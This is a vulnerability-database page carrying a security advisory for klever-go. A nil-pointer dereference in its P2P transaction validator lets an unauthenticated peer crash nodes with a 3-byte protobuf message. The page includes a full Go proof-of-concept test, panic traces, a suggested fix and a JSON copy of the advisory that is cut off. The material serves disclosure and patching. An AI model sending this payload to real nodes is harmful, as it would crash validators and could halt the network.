Vulnerability-Lookup

GHSA-RM5C-5X2P-48WR

Vulnerability from github – Published: 2026-06-05 16:42 – Updated: 2026-06-09 18:40

Summary

Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt

Details

Summary

Every transaction gossiped on the klever-go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback. The validator txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. A protobuf Transaction whose embedded RawData sub-message is omitted decodes to RawData == nil, so validating it triggers a nil-pointer panic.

The libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and klever's own network/p2p layer install no recover(), so the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required. Aimed at enough of the BLS validator set, repeated delivery halts block production (chain halt).

Affected component

Root cause: core/versioning/txVersionChecker.go:22
Reached via: core/process/transaction/interceptedTransaction.go:203 (integrity) and :154 (CheckValidity)
Production tx-topic path: core/process/interceptors/multiDataInterceptor.go:171 and :223
Unprotected caller: network/p2p/libp2p/netMessenger.go pubsubCallback (no recover)
Topic wiring: core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go (createOneTxInterceptor)

Details

Synchronous validation path, no recovery at any frame:

libp2p pubsubCallback                              network/p2p/libp2p/netMessenger.go  (no recover)
 -> MultiDataInterceptor.ProcessReceivedMessage    core/process/interceptors/multiDataInterceptor.go:171
   -> interceptedData(...)                          core/process/interceptors/multiDataInterceptor.go:223
     -> InterceptedTransaction.CheckValidity         core/process/transaction/interceptedTransaction.go:154
       -> integrity()                                core/process/transaction/interceptedTransaction.go:203
         -> txVersionChecker.CheckTxVersion(tx)      core/versioning/txVersionChecker.go:22   <-- nil deref

Root cause (core/versioning/txVersionChecker.go):

func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
    if tx.RawData.Version < tvc.minTxVersion {   // tx.RawData is nil -> panic
        return process.ErrInvalidTransactionVersion
    }
    return nil
}

integrity() calls CheckTxVersion as its very first statement, before any RawData nil-check, and CheckValidity() runs before the whitelist / originator- election gate in the interceptor, so node-role and whitelist restrictions do not protect this path.

Preconditions

Attacker runs an ordinary libp2p peer reachable to the target via normal peering / kad-dht discovery on the transactions gossip topic.
Production runs with withMessageSigning = true, which only requires the gossip message to be signed by the attacker's OWN libp2p peer key (a self-generated identity; NOT a validator key, NOT funded, NOT authorized).
No special config or feature flag; the tx interceptor is built unconditionally and subscribes to transactions on every node.

Impact

Deterministic, immediate crash of any targeted node (validator, sentry, or observer) from a single ~3-byte message.
Gossipsub validates before relaying, so the victim does not forward the crashing message; the attacker delivers it directly to each target (one tiny message/node).
With auto-restart (systemd), re-sending sustains the outage.
Directed at > 1/3 of the BLS validator set, this prevents consensus and halts the chain.
NOTE: the HTTP POST /transaction/send path is NOT crash-exploitable - the REST server uses gin.Default() (Recovery middleware) and returns HTTP 500. The exploitable vector is the P2P interceptor.

Exploit cost / attack complexity

Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital).
Complexity: LOW. Unauthenticated, remote, deterministic.

PoC-Source

Scenario - Build the malicious transaction as it appears on the wire: a protobuf Transaction with RawData omitted (plus a throwaway Signature so the batch entry looks like a real tx). With the production proto marshalizer this encodes to 3 bytes (12 01 78) and round-trips back to RawData == nil. - Feed it through the REAL production interceptors. The transactions gossip topic is served by a MultiDataInterceptor (baseInterceptorsContainerFactory.go, createOneTxInterceptor); the test wraps the tx in a Batch exactly like a bulk-tx gossip message and calls ProcessReceivedMessage, which is precisely what the panic-free libp2p pubsubCallback invokes in production. A second test drives the generic SingleDataInterceptor to show the bug is in the shared validation chain. - The data factory is a faithful copy of the production interceptedTxDataFactory.Create: it builds a genuine *InterceptedTransaction. No validation behavior is stubbed; only leaf crypto/marshal helpers use the repo's own in-tree mocks. The panic occurs on the first line of integrity(), upstream of any mock.

How to run 1. git clone https://github.com/klever-io/klever-go && cd klever-go (Go toolchain matching go.mod go 1.25.7; verified locally on go1.26.3.) 2. Save the source below as core/process/interceptors/poc_nil_rawdata_dos_test.go. 3. Run either (separately - the first panic aborts the test binary): - Production tx-topic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v - Generic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v - Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).

Full PoC source (poc_nil_rawdata_dos_test.go):

// Target component:    klever-go P2P transaction interceptor (network availability)
//                      core/process/transaction/interceptedTransaction.go
//                      core/versioning/txVersionChecker.go:22
// Vulnerability type:  Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)
//                      CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.
//
// Summary:
//   Every gossiped transaction is decoded and validated synchronously inside the
//   libp2p pubsub topic-validator callback
//   (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO
//   recover(). The validation chain is:
//
//       (Multi|Single)DataInterceptor.ProcessReceivedMessage
//         -> InterceptedTransaction.CheckValidity
//           -> integrity()
//             -> txVersionChecker.CheckTxVersion(tx)   // tx.RawData.Version  <-- nil deref
//
//   CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf
//   Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),
//   so an unauthenticated peer can broadcast a few bytes that panic the validation
//   goroutine and crash the entire node process. Repeating it against the validator
//   set halts consensus.
//
// How to run:
//   1) git clone https://github.com/klever-io/klever-go && cd klever-go
//   2) cp <this file> core/process/interceptors/poc_nil_rawdata_dos_test.go
//   3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v
//
// Expected output:
//   The test process aborts with:
//     panic: runtime error: invalid memory address or nil pointer dereference
//     ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22
//     ... InterceptedTransaction.integrity ... -> CheckValidity
//     ... (Multi|Single)DataInterceptor.ProcessReceivedMessage
//   i.e. the crash originates from the interceptor's synchronous message-handling frame,
//   exactly where the panic-free libp2p pubsub callback would call it in production.
//
// Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).

package interceptors_test

import (
    "testing"

    "github.com/klever-io/klever-go/common/mock"
    "github.com/klever-io/klever-go/core"
    "github.com/klever-io/klever-go/core/process"
    "github.com/klever-io/klever-go/core/process/interceptors"
    txproc "github.com/klever-io/klever-go/core/process/transaction"
    "github.com/klever-io/klever-go/core/throttler"
    "github.com/klever-io/klever-go/core/versioning"
    cryptoMock "github.com/klever-io/klever-go/crypto/mock"
    "github.com/klever-io/klever-go/data/batch"
    dataTransaction "github.com/klever-io/klever-go/data/transaction"
)

// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData
// field is omitted. This is the entire attacker payload.
func buildMaliciousTxBytes(t *testing.T) []byte {
    m := &mock.ProtoMarshalizerMock{}
    maliciousTx := &dataTransaction.Transaction{ /* RawData: nil */ }
    buff, err := m.Marshal(maliciousTx)
    if err != nil {
        t.Fatalf("marshal malicious tx: %v", err)
    }
    return buff
}

// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:
// it builds a genuine *InterceptedTransaction from the received bytes. No validation
// behavior is stubbed; only leaf crypto/marshal helpers use the repo's standard mocks.
type pocTxFactory struct{}

func (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {
    m := &mock.ProtoMarshalizerMock{}
    return txproc.NewInterceptedTransaction(&txproc.InterceptedTransactionArgs{
        TxBuff:                 buff,
        ProtoMarshalizer:       m,
        SignMarshalizer:        m,
        Hasher:                 mock.HasherMock{},
        KeyGen:                 &cryptoMock.SingleSignKeyGenMock{},
        Signer:                 &cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},
        PubkeyConv:             &mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},
        WhiteListerVerifiedTxs: &mock.WhiteListHandlerStub{},
        ChainID:                []byte("chainID"),
        TxSignHasher:           mock.HasherMock{},
        FeeHandler: &mock.FeeHandlerStub{
            CheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {
                return &dataTransaction.CostResponse{}, nil
            },
        },
        TxVersionChecker: versioning.NewTxVersionChecker(0),
        ForkController:   &mock.ForkControllerStub{},
    })
}
func (pocTxFactory) IsInterfaceNil() bool { return false }

// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the
// "transactions" gossip topic, which is served by a MultiDataInterceptor (see
// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,
// func createOneTxInterceptor).
func TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {
    protoMarsh := &mock.ProtoMarshalizerMock{}

    // Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.
    b := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}
    batchBytes, err := protoMarsh.Marshal(b)
    if err != nil {
        t.Fatalf("marshal batch: %v", err)
    }

    th, _ := throttler.NewNumGoRoutinesThrottler(5)
    mdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{
        Topic:            "transactions",
        Marshalizer:      protoMarsh,
        DataFactory:      pocTxFactory{},
        Processor:        &mock.InterceptorProcessorStub{},
        Throttler:        th,
        AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
        WhiteListRequest: &mock.WhiteListHandlerStub{},
        CurrentPeerID:    core.PeerID("self"),
    })
    if err != nil {
        t.Fatalf("build interceptor: %v", err)
    }

    msg := &mock.P2PMessageMock{
        DataField:  batchBytes,
        TopicField: "transactions",
        PeerField:  core.PeerID("attacker"),
    }

    // In production this is called by the libp2p pubsub callback, which has no recover().
    // The nil-pointer panic therefore propagates and crashes the node process.
    _ = mdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))

    // Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).
    t.Log("no panic: node survived -> NOT vulnerable")
}

// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic
// single-item interceptor path, demonstrating the bug is in the shared validation
// chain, not in one interceptor variant.
func TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {
    th, _ := throttler.NewNumGoRoutinesThrottler(5)
    sdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{
        Topic:            "transactions",
        DataFactory:      pocTxFactory{},
        Processor:        &mock.InterceptorProcessorStub{},
        Throttler:        th,
        AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
        WhiteListRequest: &mock.WhiteListHandlerStub{},
        CurrentPeerID:    core.PeerID("self"),
    })
    if err != nil {
        t.Fatalf("build interceptor: %v", err)
    }

    msg := &mock.P2PMessageMock{
        DataField:  buildMaliciousTxBytes(t),
        TopicField: "transactions",
        PeerField:  core.PeerID("attacker"),
    }

    _ = sdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
    t.Log("no panic: node survived -> NOT vulnerable")
}

PoC-Results

Result A - production MultiDataInterceptor (the transactions gossip topic):

$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v
=== RUN   TestPoC_NilRawData_MultiDataInterceptor
--- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]

goroutine 8 [running]:
panic({0x888c00?, 0xd54d60?})
        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a
github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)
        .../core/versioning/txVersionChecker.go:22 +0x4
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)
        .../core/process/transaction/interceptedTransaction.go:203 +0x31
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)
        .../core/process/transaction/interceptedTransaction.go:154 +0x13
github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...)
        .../core/process/interceptors/multiDataInterceptor.go:223 +0x9c
github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...)
        .../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca
github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...)
        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef
FAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s
FAIL

Result B - generic SingleDataInterceptor (same root cause via the shared chain):

$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v
=== RUN   TestPoC_NilRawData_SingleDataInterceptor
--- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]

goroutine 8 [running]:
panic({0x888c00?, 0xd54d60?})
        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a
github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)
        .../core/versioning/txVersionChecker.go:22 +0x4
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)
        .../core/process/transaction/interceptedTransaction.go:203 +0x31
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)
        .../core/process/transaction/interceptedTransaction.go:154 +0x13
github.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...)
        .../core/process/interceptors/singleDataInterceptor.go:118 +0x12e
github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...)
        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1
FAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s
FAIL

Interpretation - Both runs abort the process with SIGSEGV originating at txVersionChecker.go:22 (tx.RawData.Version), reached through the real interceptor's synchronous ProcessReceivedMessage frame - the exact frame the recover-free libp2p pubsub callback executes in production. A recover()-less crash here = full node process exit. - Round-trip check (production tools/marshal.ProtoMarshalizer): the malicious tx is 3 bytes 12 01 78 and decodes to RawData == nil, confirming the trigger is a valid, attacker-craftable wire message (not a malformed blob rejected earlier).

Suggested fix

Primary (root cause) - make CheckTxVersion nil-safe / reject RawData == nil early:

func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
    if tx == nil || tx.RawData == nil {
        return process.ErrInvalidTransactionVersion
    }
    if tx.RawData.Version < tvc.minTxVersion {
        return process.ErrInvalidTransactionVersion
    }
    return nil
}

Returning a sentinel error here is already handled by the interceptors (they blacklist peers that send wrong-version transactions).

Defense-in-depth: - Wrap the synchronous body of pubsubCallback (and/or ProcessReceivedMessage) in a recover() so a single malformed message can never abort the process. - Audit the other direct inTx.tx.RawData.* dereferences in interceptedTransaction.go (chainID/sender/contract/nonce/fee getters) for the same nil-input class.

Duplicate check (vs published advisories)

Checked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403, GHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate: different root cause (nil RawData deref vs gzip OOM / throttler accounting / VM read-only isolation); the advisory texts never mention RawData, CheckTxVersion, txVersionChecker, or any nil/NULL deref. Those three advisories' fixes are already present in the reviewed tree, yet txVersionChecker.go:22 remains unpatched. It is adjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.17"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.14"
            },
            {
              "fixed": "1.7.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T16:42:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nEvery transaction gossiped on the klever-go P2P network is decoded and validated\nsynchronously inside the libp2p pubsub topic-validator callback. The validator\n`txVersionChecker.CheckTxVersion` dereferences `tx.RawData.Version` with no nil\ncheck. A protobuf `Transaction` whose embedded `RawData` sub-message is omitted\ndecodes to `RawData == nil`, so validating it triggers a nil-pointer panic.\n\nThe libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and\nklever\u0027s own `network/p2p` layer install no `recover()`, so the panic propagates and\ncrashes the entire node process. The attacker payload is a 3-byte protobuf message;\nno validator key, stake, funds, or on-chain account is required. Aimed at enough of\nthe BLS validator set, repeated delivery halts block production (chain halt).\n\n## Affected component\n- Root cause: `core/versioning/txVersionChecker.go:22`\n- Reached via: `core/process/transaction/interceptedTransaction.go:203` (integrity) and `:154` (CheckValidity)\n- Production tx-topic path: `core/process/interceptors/multiDataInterceptor.go:171` and `:223`\n- Unprotected caller: `network/p2p/libp2p/netMessenger.go` `pubsubCallback` (no recover)\n- Topic wiring: `core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go` (`createOneTxInterceptor`)\n\n## Details\nSynchronous validation path, no recovery at any frame:\n\n```\nlibp2p pubsubCallback                              network/p2p/libp2p/netMessenger.go  (no recover)\n -\u003e MultiDataInterceptor.ProcessReceivedMessage    core/process/interceptors/multiDataInterceptor.go:171\n   -\u003e interceptedData(...)                          core/process/interceptors/multiDataInterceptor.go:223\n     -\u003e InterceptedTransaction.CheckValidity         core/process/transaction/interceptedTransaction.go:154\n       -\u003e integrity()                                core/process/transaction/interceptedTransaction.go:203\n         -\u003e txVersionChecker.CheckTxVersion(tx)      core/versioning/txVersionChecker.go:22   \u003c-- nil deref\n```\n\nRoot cause (`core/versioning/txVersionChecker.go`):\n```go\nfunc (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {\n\tif tx.RawData.Version \u003c tvc.minTxVersion {   // tx.RawData is nil -\u003e panic\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\treturn nil\n}\n```\n\n`integrity()` calls `CheckTxVersion` as its very first statement, before any\n`RawData` nil-check, and `CheckValidity()` runs before the whitelist / originator-\nelection gate in the interceptor, so node-role and whitelist restrictions do not\nprotect this path.\n\n## Preconditions\n- Attacker runs an ordinary libp2p peer reachable to the target via normal peering /\n  kad-dht discovery on the `transactions` gossip topic.\n- Production runs with `withMessageSigning = true`, which only requires the gossip\n  message to be signed by the attacker\u0027s OWN libp2p peer key (a self-generated\n  identity; NOT a validator key, NOT funded, NOT authorized).\n- No special config or feature flag; the tx interceptor is built unconditionally and\n  subscribes to `transactions` on every node.\n\n## Impact\n- Deterministic, immediate crash of any targeted node (validator, sentry, or\n  observer) from a single ~3-byte message.\n- Gossipsub validates before relaying, so the victim does not forward the crashing\n  message; the attacker delivers it directly to each target (one tiny message/node).\n- With auto-restart (systemd), re-sending sustains the outage.\n- Directed at \u003e 1/3 of the BLS validator set, this prevents consensus and halts the chain.\n- NOTE: the HTTP `POST /transaction/send` path is NOT crash-exploitable - the REST\n  server uses `gin.Default()` (Recovery middleware) and returns HTTP 500. The\n  exploitable vector is the P2P interceptor.\n\n## Exploit cost / attack complexity\n- Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital).\n- Complexity: LOW. Unauthenticated, remote, deterministic.\n\n## PoC-Source\n\nScenario\n- Build the malicious transaction as it appears on the wire: a protobuf `Transaction`\n  with `RawData` omitted (plus a throwaway `Signature` so the batch entry looks like a\n  real tx). With the production proto marshalizer this encodes to 3 bytes\n  (`12 01 78`) and round-trips back to `RawData == nil`.\n- Feed it through the REAL production interceptors. The `transactions` gossip topic is\n  served by a `MultiDataInterceptor` (`baseInterceptorsContainerFactory.go`,\n  `createOneTxInterceptor`); the test wraps the tx in a `Batch` exactly like a bulk-tx\n  gossip message and calls `ProcessReceivedMessage`, which is precisely what the\n  panic-free libp2p `pubsubCallback` invokes in production. A second test drives the\n  generic `SingleDataInterceptor` to show the bug is in the shared validation chain.\n- The data factory is a faithful copy of the production `interceptedTxDataFactory.Create`:\n  it builds a genuine `*InterceptedTransaction`. No validation behavior is stubbed;\n  only leaf crypto/marshal helpers use the repo\u0027s own in-tree mocks. The panic occurs\n  on the first line of `integrity()`, upstream of any mock.\n\nHow to run\n1. `git clone https://github.com/klever-io/klever-go \u0026\u0026 cd klever-go`\n   (Go toolchain matching go.mod `go 1.25.7`; verified locally on go1.26.3.)\n2. Save the source below as `core/process/interceptors/poc_nil_rawdata_dos_test.go`.\n3. Run either (separately - the first panic aborts the test binary):\n   - Production tx-topic path: `go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v`\n   - Generic path:            `go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v`\n- Dependencies: none beyond the repo\u0027s own go.mod (uses in-repo mocks only).\n\nFull PoC source (`poc_nil_rawdata_dos_test.go`):\n\n```go\n// Target component:    klever-go P2P transaction interceptor (network availability)\n//                      core/process/transaction/interceptedTransaction.go\n//                      core/versioning/txVersionChecker.go:22\n// Vulnerability type:  Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)\n//                      CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.\n//\n// Summary:\n//   Every gossiped transaction is decoded and validated synchronously inside the\n//   libp2p pubsub topic-validator callback\n//   (network/p2p/libp2p/netMessenger.go -\u003e pubsubCallback). That callback has NO\n//   recover(). The validation chain is:\n//\n//       (Multi|Single)DataInterceptor.ProcessReceivedMessage\n//         -\u003e InterceptedTransaction.CheckValidity\n//           -\u003e integrity()\n//             -\u003e txVersionChecker.CheckTxVersion(tx)   // tx.RawData.Version  \u003c-- nil deref\n//\n//   CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf\n//   Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),\n//   so an unauthenticated peer can broadcast a few bytes that panic the validation\n//   goroutine and crash the entire node process. Repeating it against the validator\n//   set halts consensus.\n//\n// How to run:\n//   1) git clone https://github.com/klever-io/klever-go \u0026\u0026 cd klever-go\n//   2) cp \u003cthis file\u003e core/process/interceptors/poc_nil_rawdata_dos_test.go\n//   3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v\n//\n// Expected output:\n//   The test process aborts with:\n//     panic: runtime error: invalid memory address or nil pointer dereference\n//     ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22\n//     ... InterceptedTransaction.integrity ... -\u003e CheckValidity\n//     ... (Multi|Single)DataInterceptor.ProcessReceivedMessage\n//   i.e. the crash originates from the interceptor\u0027s synchronous message-handling frame,\n//   exactly where the panic-free libp2p pubsub callback would call it in production.\n//\n// Dependencies: none beyond the repo\u0027s own go.mod (uses in-repo mocks only).\n\npackage interceptors_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/process\"\n\t\"github.com/klever-io/klever-go/core/process/interceptors\"\n\ttxproc \"github.com/klever-io/klever-go/core/process/transaction\"\n\t\"github.com/klever-io/klever-go/core/throttler\"\n\t\"github.com/klever-io/klever-go/core/versioning\"\n\tcryptoMock \"github.com/klever-io/klever-go/crypto/mock\"\n\t\"github.com/klever-io/klever-go/data/batch\"\n\tdataTransaction \"github.com/klever-io/klever-go/data/transaction\"\n)\n\n// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData\n// field is omitted. This is the entire attacker payload.\nfunc buildMaliciousTxBytes(t *testing.T) []byte {\n\tm := \u0026mock.ProtoMarshalizerMock{}\n\tmaliciousTx := \u0026dataTransaction.Transaction{ /* RawData: nil */ }\n\tbuff, err := m.Marshal(maliciousTx)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal malicious tx: %v\", err)\n\t}\n\treturn buff\n}\n\n// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:\n// it builds a genuine *InterceptedTransaction from the received bytes. No validation\n// behavior is stubbed; only leaf crypto/marshal helpers use the repo\u0027s standard mocks.\ntype pocTxFactory struct{}\n\nfunc (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {\n\tm := \u0026mock.ProtoMarshalizerMock{}\n\treturn txproc.NewInterceptedTransaction(\u0026txproc.InterceptedTransactionArgs{\n\t\tTxBuff:                 buff,\n\t\tProtoMarshalizer:       m,\n\t\tSignMarshalizer:        m,\n\t\tHasher:                 mock.HasherMock{},\n\t\tKeyGen:                 \u0026cryptoMock.SingleSignKeyGenMock{},\n\t\tSigner:                 \u0026cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},\n\t\tPubkeyConv:             \u0026mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},\n\t\tWhiteListerVerifiedTxs: \u0026mock.WhiteListHandlerStub{},\n\t\tChainID:                []byte(\"chainID\"),\n\t\tTxSignHasher:           mock.HasherMock{},\n\t\tFeeHandler: \u0026mock.FeeHandlerStub{\n\t\t\tCheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {\n\t\t\t\treturn \u0026dataTransaction.CostResponse{}, nil\n\t\t\t},\n\t\t},\n\t\tTxVersionChecker: versioning.NewTxVersionChecker(0),\n\t\tForkController:   \u0026mock.ForkControllerStub{},\n\t})\n}\nfunc (pocTxFactory) IsInterfaceNil() bool { return false }\n\n// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the\n// \"transactions\" gossip topic, which is served by a MultiDataInterceptor (see\n// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,\n// func createOneTxInterceptor).\nfunc TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {\n\tprotoMarsh := \u0026mock.ProtoMarshalizerMock{}\n\n\t// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.\n\tb := \u0026batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}\n\tbatchBytes, err := protoMarsh.Marshal(b)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal batch: %v\", err)\n\t}\n\n\tth, _ := throttler.NewNumGoRoutinesThrottler(5)\n\tmdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{\n\t\tTopic:            \"transactions\",\n\t\tMarshalizer:      protoMarsh,\n\t\tDataFactory:      pocTxFactory{},\n\t\tProcessor:        \u0026mock.InterceptorProcessorStub{},\n\t\tThrottler:        th,\n\t\tAntifloodHandler: \u0026mock.P2PAntifloodHandlerStub{},\n\t\tWhiteListRequest: \u0026mock.WhiteListHandlerStub{},\n\t\tCurrentPeerID:    core.PeerID(\"self\"),\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"build interceptor: %v\", err)\n\t}\n\n\tmsg := \u0026mock.P2PMessageMock{\n\t\tDataField:  batchBytes,\n\t\tTopicField: \"transactions\",\n\t\tPeerField:  core.PeerID(\"attacker\"),\n\t}\n\n\t// In production this is called by the libp2p pubsub callback, which has no recover().\n\t// The nil-pointer panic therefore propagates and crashes the node process.\n\t_ = mdi.ProcessReceivedMessage(msg, core.PeerID(\"attacker\"))\n\n\t// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).\n\tt.Log(\"no panic: node survived -\u003e NOT vulnerable\")\n}\n\n// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic\n// single-item interceptor path, demonstrating the bug is in the shared validation\n// chain, not in one interceptor variant.\nfunc TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {\n\tth, _ := throttler.NewNumGoRoutinesThrottler(5)\n\tsdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{\n\t\tTopic:            \"transactions\",\n\t\tDataFactory:      pocTxFactory{},\n\t\tProcessor:        \u0026mock.InterceptorProcessorStub{},\n\t\tThrottler:        th,\n\t\tAntifloodHandler: \u0026mock.P2PAntifloodHandlerStub{},\n\t\tWhiteListRequest: \u0026mock.WhiteListHandlerStub{},\n\t\tCurrentPeerID:    core.PeerID(\"self\"),\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"build interceptor: %v\", err)\n\t}\n\n\tmsg := \u0026mock.P2PMessageMock{\n\t\tDataField:  buildMaliciousTxBytes(t),\n\t\tTopicField: \"transactions\",\n\t\tPeerField:  core.PeerID(\"attacker\"),\n\t}\n\n\t_ = sdi.ProcessReceivedMessage(msg, core.PeerID(\"attacker\"))\n\tt.Log(\"no panic: node survived -\u003e NOT vulnerable\")\n}\n```\n\n## PoC-Results\n\nResult A - production `MultiDataInterceptor` (the `transactions` gossip topic):\n```\n$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v\n=== RUN   TestPoC_NilRawData_MultiDataInterceptor\n--- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]\n\ngoroutine 8 [running]:\npanic({0x888c00?, 0xd54d60?})\n        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a\ngithub.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)\n        .../core/versioning/txVersionChecker.go:22 +0x4\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)\n        .../core/process/transaction/interceptedTransaction.go:203 